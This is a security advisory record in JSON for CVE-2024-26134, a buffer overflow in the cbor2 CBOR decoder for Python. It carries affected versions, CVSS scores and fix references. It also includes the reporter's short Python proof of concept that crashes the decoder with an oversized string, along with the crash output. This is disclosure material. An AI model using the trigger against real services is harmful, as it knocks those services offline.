{"id":"CVE-2024-26134","aliases":["CVE-2024-26134","GHSA-375g-39jq-vq7m","PYSEC-2024-155"],"related":[],"kind":"vulnerability","state":"published","title":"CBOR2 decoder has potential buffer overflow","summary":"cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"cbor2 provides encoding and decoding for the Concise Binary Object Representation (CBOR) (RFC 8949) serialization format. Starting in version 5.5.1 and prior to version 5.6.2, an attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object. Version 5.6.2 contains a patch for this issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nEver since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was **not** able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)\n\n## Details\n\n\n### PoC\n```py\nimport json\nimport concurrent.futures\nimport cbor2\n\ndef test():\n    obj = \"x\" * 131128\n    cbor_enc = cbor2.dumps(obj)\n    return cbor2.loads(cbor_enc)\n\nwith concurrent.futures.ProcessPoolExecutor() as executor:\n    future = executor.submit(test)\n    print(future.result())\n```\n\n```\nmalloc(): unsorted double linked list corrupted\nTraceback (most recent call last):\n  File \"test.py\", line 14, in <module>\n    print(future.result())\n  File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 440, in result\n    return self.__get_result()\n  File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 389, in __get_result\n    raise self._exception\nconcurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.\n```\n\nIf one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.\n\n```py\nimport json\nimport cbor2\n\ndef test():\n    obj = \"x\" * 131128\n    cbor_enc = cbor2.dumps(obj)\n    return cbor2.loads(cbor_enc)\n\nprint(test())\n```\n\n```\nTraceback (most recent call last):\n  File \"test.py\", line 12, in <module>\n    print(test())\n  File \"test.py\", line 9, in test\n    return cbor2.loads(cbor_enc)\nSystemError: <built-in function loads> returned NULL without setting an error\n```\n\n### Impact\nAn attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.","format":"markdown","source":"ghsa"},{"lang":"es","text":"cbor2 proporciona codificación y decodificación para el formato de serialización de representación concisa de objetos binarios (CBOR) (RFC 8949). A partir de la versión 5.5.1 y antes de la versión 5.6.2, un atacante puede bloquear un servicio que utiliza cbor2 para analizar un binario CBOR enviando un objeto lo suficientemente largo. La versión 5.6.2 contiene un parche para este problema.","source":"nvd"}],"published":"2024-02-19T22:13:47.173Z","modified":"2026-06-17T07:17:10.310Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-120"],"affected":[{"ranges":[{"version":">= 5.5.1, < 5.6.2","status":"affected"}],"vendor":"agronholm","product":"cbor2","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"5.5.1","fixed":"5.6.2","status":"affected"}],"vendor":"agronholm","product":"cbor2","cpe":"cpe:2.3:a:agronholm:cbor2:5.5.1:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"5.5.1","status":"affected","fixed":"5.6.2"}],"ecosystem":"PyPI","package":"cbor2","purl":"pkg:pypi/cbor2","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"5.5.1","fixed":"5.6.2"}],"vendor":"agronholm","product":"cbor2","cpe":"cpe:2.3:a:agronholm:cbor2:*:*:*:*:*:python:*:*","source":"nvd"},{"ranges":[{"status":"affected","version":"38"},{"status":"affected","version":"39"},{"status":"affected","version":"40"}],"vendor":"fedoraproject","product":"fedora","cpe":"cpe:2.3:o:fedoraproject:fedora:38:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"git","introduced":"0","status":"affected","fixed":"387755eacf0be35591a478d3c67fe10618a6d542"},{"type":"git","status":"affected","fixed":"4de6991ba29bf2290d7b9d83525eda7d021873df"},{"type":"ecosystem","introduced":"5.5.1","status":"affected","fixed":"5.6.2"}],"ecosystem":"PyPI","package":"cbor2","purl":"pkg:pypi/cbor2","repo":"https://github.com/agronholm/cbor2","source":"pysec"}],"references":[{"url":"https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m","tags":["advisory","evidence","exploit","vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/agronholm/cbor2/pull/204","tags":["issue-tracking","report","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542","tags":["fix","product","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df","tags":["fix","patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/agronholm/cbor2/releases/tag/5.6.2","tags":["release-notes","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ/","tags":["article","mailing-list","x-transferred"],"sources":["cvelist","nvd","pysec"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5/","tags":["article","mailing-list","x-transferred"],"sources":["cvelist","nvd","pysec"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY/","tags":["article","mailing-list","x-transferred"],"sources":["cvelist","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-26134","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/agronholm/cbor2","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/cbor2/PYSEC-2024-155.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5","tags":["web"],"sources":["ghsa"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ","tags":["web"],"sources":["ghsa"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/advisories/GHSA-375g-39jq-vq7m","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2024-02-20T18:24:08.985Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-26134","url":"https://www.cve.org/CVERecord?id=CVE-2024-26134","licence":"CVE Terms of Use","modified":"2025-02-13T17:41:03.627Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-375g-39jq-vq7m","url":"https://github.com/advisories/GHSA-375g-39jq-vq7m","licence":"CC-BY-4.0","modified":"2026-06-10T17:14:17.011Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-26134","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-26134","licence":"Public domain","modified":"2026-06-17T07:17:10.310Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2024-155","url":"https://osv.dev/vulnerability/PYSEC-2024-155","licence":"CC-BY-4.0","modified":"2026-06-10T17:14:17.453Z"}],"updatedAt":"2026-11-25T22:58:36.906Z","epss":{"score":0.01167,"percentile":0.68241,"date":"2026-12-01T12:00:22.000Z"}}